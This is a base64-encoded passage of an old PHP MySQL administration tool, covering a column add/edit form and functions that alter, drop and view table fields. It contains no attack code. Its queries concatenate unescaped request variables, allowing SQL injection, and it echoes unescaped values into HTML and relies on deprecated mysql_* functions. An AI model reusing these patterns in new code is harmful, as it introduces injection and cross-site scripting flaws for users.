ID0gJGZpZWxkWyJUeXBlIl07CgkJCQkkZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJCQkJJGZp
ZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJhIl07CgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxs
Il07CgkJCQkkZmllbGRkZWZhdWx0ID0gJGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVhazsKCQkJ
fQoJCX0KCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlpZiggc3Ry
cG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBl
ID09ICJzZXQiICkgewoJCQkJJHZhbHVlbGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJCQl9IGVs
c2UgewoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAkZmllbGR0
eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9Cgl9CgoJ
ZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOwoJ
ZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJ
CWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJt
aXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9
aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVjaG8gIjxp
bnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOwoJfQoJ
ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJ
ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+
XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5h
bWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8L2gzPgoK
PGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48
YnI+CiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMg
dGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4KPC9m
b250PgoKPHRhYmxlPgo8dHI+Cjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4m
bmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5h
cnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9
IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hv
ICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5
cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gImNo
ZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFsaWduPWNl
bnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5
cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9PSAibWVk
aXVtaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4IH4gODM4
ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJTlQiICc7
IGlmKCAkdHlwZSA9PSAiaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0yMTQ3NDgz
NjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8
L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFs
dWU9IkJJR0lOVCIgJzsgaWYoICR0eXBlID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1ODA3KTwv
dGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50
ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0
cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAk
dHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlu
cHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlwZSA9PSAi
ZG91YmxlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxpZ249Y2Vu
dGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxp
Z249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw
ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAiZGVjaW1h
bCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0ZCBhbGln
bj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0
ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1
dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRl
IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwg
WVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8
L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQg
dHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUgPT0gImRh
dGV0aW1lIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0wMSAwMDow
MDowMCB+IDk5OTktMTItMzEgMjM6NTk6NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90ZD4KPHRk
PiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBl
IHZhbHVlPSJUSU1FU1RBTVAiICc7IGlmKCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVjaG8gImNo
ZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAgKDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2Li4uLCBZ
WVlZTU1ERFtISFtNTVtTU11dXSk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3Ry
Pgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlm
KCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1
OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy
Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBpZiggJHR5
cGUgPT0gInllYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAyMTU1LCAw
MDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0
eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJjaGFyIiAp
IGVjaG8gImNoZWNrZWQiO2VjaG8gJz5DSEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNl
bnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZh
bHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7
ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8
L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllURVhU
IiAnOyBpZiggJHR5cGUgPT0gInRpbnl0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5Z
VEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5w
dXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGV4
dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0ZD4mbmJz
cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1
ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNr
ZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05H
VEVYVCIgJzsgaWYoICR0eXBlID09ICJsb25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+
TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0
cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0IiICc7IGlm
KCAkdHlwZSA9PSAidGlueWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllCTE9CICgw
IH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+
Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBl
PXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVj
aG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJ
VU1CTE9CIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPk1FRElVTUJMT0IgKDAgfiAxNjc3NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3Ry
Pgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdCTE9CIiAn
OyBpZiggJHR5cGUgPT0gImxvbmdibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HQkxP
QiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRk
PiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4gCjx0cj4KPHRk
PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRU5VTSIgJzsgaWYoICR0eXBlID09
ICJlbnVtIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5FTlVNPC90ZD4KPHRkIGNvbHNwYW49NT48
Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw
ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNo
byAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+Cjx0ZCBjb2xzcGFuPTU+PGNlbnRlcj52YWx1ZSBs
aXN0PC9jZW50ZXI+PC90ZD4KPC90cj4KCjwvdGFibGU+Cjx0YWJsZT4KPHRyPjx0aD5NPC90aD48
dGg+RDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3Ro
Pjx0aD52YWx1ZSBsaXN0IChleDogXCdhcHBsZVwnLCBcJ29yYW5nZVwnLCBcJ2JhbmFuYVwnKSA8
L3RoPjwvdHI+Cjx0cj4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBu
YW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPgo8dGQg
YWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9RCAnOyBpZiggJEQgIT0g
IiIgKSBlY2hvICJ2YWx1ZT0kRCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0
IHR5cGU9Y2hlY2tib3ggbmFtZT11bnNpZ25lZCB2YWx1ZT0iVU5TSUdORUQiICc7IGlmKCBzdHJw
b3MoICRmaWVsZHR5cGUsICJ1bnNpZ25lZCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3Rk
Pgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFs
dWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBl
Y2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1j
aGVja2JveCBuYW1lPWJpbmFyeSB2YWx1ZT0iQklOQVJZIiAnOyBpZiggc3RycG9zKCAkZmllbGR0
eXBlLCAiYmluYXJ5IiApICApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249
Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT02MCBuYW1lPXZhbHVlbGlzdCAnOyBpZiggJHZh
bHVlbGlzdCAhPSAiIiApIGVjaG8gInZhbHVlPVwiJHZhbHVlbGlzdFwiIjtlY2hvICc+PC90ZD4K
PC90cj4KPC90YWJsZT4KCgo8aDM+RmxhZ3M8L2gzPgo8dGFibGU+Cjx0cj48dGg+bm90IG51bGw8
L3RoPjx0aD5kZWZhdWx0IHZhbHVlPC90aD48dGg+YXV0byBpbmNyZW1lbnQ8L3RoPjx0aD5wcmlt
YXJ5IGtleTwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNr
Ym94IG5hbWU9bm90X251bGwgdmFsdWU9Ik5PVCBOVUxMIiAnOyBpZiggJGZpZWxkbnVsbCAhPSAi
WUVTIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1
dCB0eXBlPXRleHQgbmFtZT1kZWZhdWx0X3ZhbHVlICc7IGlmKCAkZmllbGRkZWZhdWx0ICE9ICIi
ICkgZWNobyAidmFsdWU9JGZpZWxkZGVmYXVsdCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50
ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19J
TkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAi
Y2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2ti
b3ggbmFtZT1wcmltYXJ5X2tleSB2YWx1ZT0iUFJJTUFSWSBLRVkiICc7IGlmKCAkZmllbGRrZXkg
PT0gIlBSSSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPC90cj4KPC90YWJsZT4KCjxw
Pic7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1
ZT0nQWRkIEZpZWxkJz5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJZWNobyAiPGlu
cHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7CgllY2hvICI8aW5wdXQgdHlw
ZT1idXR0b24gdmFsdWU9Q2FuY2VsIG9uQ2xpY2s9J2hpc3RvcnkuYmFjaygpJz5cbiI7CgllY2hv
ICI8L2Zvcm0+XG4iOwp9CgpmdW5jdGlvbiBtYW5hZ2VGaWVsZF9zdWJtaXQoICRjbWQgKSB7Cgln
bG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1l
LCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csCgkJJE0sICRELCAkdW5zaWdu
ZWQsICR6ZXJvZmlsbCwgJGJpbmFyeSwgJG5vdF9udWxsLCAkZGVmYXVsdF92YWx1ZSwgJGF1dG9f
aW5jcmVtZW50LCAkcHJpbWFyeV9rZXksICR2YWx1ZWxpc3Q7CgoJaWYoICRjbWQgPT0gImFkZCIg
KQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCAkbmFtZSAiOwoJZWxz
ZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVu
YW1lIENIQU5HRSAkb2xkX25hbWUgJG5hbWUgIjsKCQoJaWYoICRNICE9ICIiICkKCQlpZiggJEQg
IT0gIiIgKQoJCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCRNLCREKSAiOwoJCWVsc2UKCQkJJHF1ZXJ5
U3RyIC49ICIkdHlwZSgkTSkgIjsKCWVsc2UgaWYoICR2YWx1ZWxpc3QgIT0gIiIgKSB7CgkJJHZh
bHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOwoJCSRxdWVyeVN0ciAuPSAiJHR5
cGUoJHZhbHVlbGlzdCkgIjsKCX0gZWxzZQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsKCgkkcXVl
cnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOwoKCWlmKCAkZGVmYXVsdF92
YWx1ZSAhPSAiIiApCgkJJHF1ZXJ5U3RyIC49ICJERUZBVUxUICckZGVmYXVsdF92YWx1ZScgIjsK
CQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9zZWxl
Y3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwg
JG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hhbmdl
Cgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtFWVMg
RlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1hcnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlzcWxf
ZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlmKCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklNQVJZ
IiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25hbWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFuZ2Ug
PSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFyeSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7CgkJ
fQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJTUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49ICIs
ICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1YnN0
ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAiQUxU
RVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBSSU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSggJHEg
KTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4g
bXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklNQVJZ
IEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxfcXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49ICI8
YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9CgoJ
dmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBkcm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3FsSGFu
ZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0
ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIENP
TFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxl
ICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0g
bXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1hKCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAkcXVl
cnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVu
YW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRwYWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7CgoJ
ZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gxPlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIiICkK
CQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7
CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1ZXJ5
U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIgKSB7
CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRlcmJ5
ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgT1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8gIjxh
IGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9
